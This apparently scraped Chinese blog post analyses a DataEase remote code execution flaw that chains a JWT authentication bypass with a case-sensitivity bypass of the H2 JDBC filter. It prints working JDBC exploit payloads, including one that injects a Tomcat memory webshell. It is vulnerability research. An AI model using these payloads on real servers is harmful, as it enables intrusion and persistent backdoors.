DataEase 远程代码执行漏洞分析
漏洞描述
DataEase 是一款开源的数据可视化分析工具,旨在帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。
漏洞影响版本: DataEase < 2.10.10
漏洞详情: 在过滤H2 JDBC连接字符串时存在大小写绕过,攻击者可配合JWT鉴权逻辑缺陷,构造特定的JDBC连接字符串执行任意代码,造成前台远程代码执行。
环境搭建
下载一键安装包:
https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
解压并执行安装脚本
修改配置文件
/opt/dataease2.0/docker-compose.yml

JAVA_DEBUG=true- 添加端口映射
5005:5005开启调试模式
重启服务
dectl restart
漏洞分析
https://github.com/dataease/dataease/commit/429f654733716bc0afc44c22effddcbede3c8de5

从这个commit里可以发现修复了两处地方:
JWT鉴权逻辑缺陷
位置: io.dataease.auth.filter.CommunityTokenFilter#doFilter


- 从请求头获取JWT: 从
X-DE-TOKEN获取jwt进行验证 - 验证异常处理: 验证异常后设置返回包但没有结束整个流程,会继续进入到
filterChain.doFilter - 绕过条件: 如果单看这里的话实际上只要
X-DE-TOKEN不为空即可通过权限校验流程
实际测试发现的问题:
第一个原因: 获取jwt的密钥是从jwt解析的uid然后通过uid获取用户密码再md5的值,如果获取的uid值不存在的话会直接异常,不会进入下面的异常,所以还是要一个存在的uid值。
第二个原因: TokenFilter过滤器也验证了 X-DE-TOKEN
位置: io.dataease.auth.filter.TokenFilter#doFilter



- 仅验证了
X-DE-TOKEN长度大于100 - uid值不为空
- 没有进行密钥验证
综合上述分析需要满足下列条件:
- uid值需要为存在的值
X-DE-TOKEN长度大于100- oid不需要都可以
官方安全公告:
https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
官方公告这里是填了oid的,其实可以不需要oid,随便写什么让生成的jwt长度大于100即可
H2 JDBC RCE大小写绕过分析
位置: io.dataease.datasource.type.H2#getJdbc
触发点:
/de2api/datasource/validate/de2api/datasource/getSchema(POC一模一样)
直接登录后台即可发现这个功能点


不需要审计黑盒都可以测试出来,点击这两个功能即可构造出数据包。


绕过方法:
将 INIT 改为 INIt 即可绕过下面的过滤

漏洞利用
使用如下JDBC payload即可RCE:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;return "test"\;}'\;CALL EXEC ('touch /tmp/1')


内存马注入
最开始直接使用java-chains生成JDBCPayload发现不行,有两个原因:
1. JDK版本问题
DataEase2.10.9 JDK版本为21

2. Tomcat版本问题
使用的tomcat版本为10

折腾了一下最后使用如下JDBCPayload即可成功打入内存马(需注意转义问题):
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIt=CREATE ALIAS AQWSSSAZ AS 'String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\;String tomcatStr=""\;
java.lang.Class unsafeClass = java.lang.Class.forName("sun.misc.Unsafe")\;
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe")\;
unsafeField.setAccessible(true)\;
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null)\;
java.lang.Module module = java.lang.Object.class.getModule()\;
java.lang.Class cls = AQWSSSAZ.class\;
long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField("module"))\;
unsafe.getAndSetObject(cls, offset, module)\;
java.lang.reflect.Method defineClass = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE)\;
defineClass.setAccessible(true)\;
byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr)\;
java.lang.Class clazz = (java.lang.Class) defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length)\;
clazz.newInstance()\;return "test"\;}'\;CALL AQWSSSAZ('123')
tomcatStr使用jmg生成



本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
DataEase 远程代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
- CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器. Microsoft Internet Explorer 6至9版本中存在漏 ...
- CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析
[CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110) Microsoft Wi ...
- Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现
0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...
- CVE-2018-7600 Drupal核心远程代码执行漏洞分析
0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
- Thinkphp5-0-X远程代码执行漏洞分析(2019-1-11)
周五下午爆洞能不能让人们好好休个周末! 分析过程 本次漏洞关键位置:/thinkphp/library/think/Request.php,lines:501由图可以看到在method函数中引入了可控 ...
- phpMoadmin CVE-2015-2208 远程代码执行漏洞分析
原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的 ...
随机推荐
- [每日算法 - 华为机试] LeetCode1160. 拼写单词
题目入口 力扣https://leetcode.cn/problems/find-words-that-can-be-formed-by-characters/ 题目概述 给你一份『词汇表』(字符串数 ...
- ingress配置https报错certificate.lua:259: call(): failed to set DER private key: d2i_PrivateKey_bio() failed, context: ssl_certificate_by_lua*
困扰我2天的报错问题:certificate.lua:259: call(): failed to set DER private key: d2i_PrivateKey_bio() failed, ...
- langchain0.3教程:从0到1打造一个智能聊天机器人
在上一篇文章<大模型开发之langchain0.3(一):入门篇> 中已经介绍了langchain开发框架的搭建,最后使用langchain实现了HelloWorld的代码案例,本篇文章将 ...
- ShardingSphere 解决关联表查询问题的详细方案
一.基础概念 在分库分表场景下,关联表(JOIN)查询的复杂性主要源于数据分布在不同的数据库或表中.ShardingSphere 通过 绑定表(Binding Table) 和 广播表(Broadca ...
- 创建bean对象的三种方式
一.使用无参构造方法创建 二.使用静态工厂创建 三.使用实例工厂创建
- java基础之object类、Date类、System类、StringBuilder类、包装类、枚举类
一.public String toString() :默认返回该对象的字符串表示,其实该字符串内容就是对象的类型+@+内存地址值 重写后: @Override public String toStr ...
- JVM 新生代垃圾回收如何避免全堆扫描?
JVM 新生代垃圾回收如何避免全堆扫描? 在 JVM 新生代的垃圾回收(Minor GC)过程中,为了提高效率并减少回收时间,垃圾收集器会避免对整个堆(包括新生代和老年代)进行扫描.以下是 JVM 如 ...
- Asp.net core 少走弯路系列教程(一)了解 W3C
前言 新人学习成本很高,网络上太多的名词和框架,全部学习会浪费大量的时间和精力. 新手缺乏学习内容的辨别能力,本系列文章为新手过滤掉不适合的学习内容(比如多线程等等),让新手少走弯路直通罗马. 作者认 ...
- 【漏洞扫描】Nuclei v3.4.1 下载方法(附快速下载链接)
简介 Nuclei v3.4.1是一款强大的漏洞扫描器,并且拥有社区维护的海量漏洞POC,工具质量十分的高.Nuclei 用于基于模板跨目标发送请求,从而实现零误报并提供对大量主机的快速扫描.Nucl ...
- 【记录】Python3|Selenium4 极速上手入门(Windows)
环境:Windows 版本:python3,selenium 4.11.2 写这个是方便自己重装电脑时重新装 Selenium,懒得每次都重新找链接. 文章目录 1 装 Chrome Edge 其他浏 ...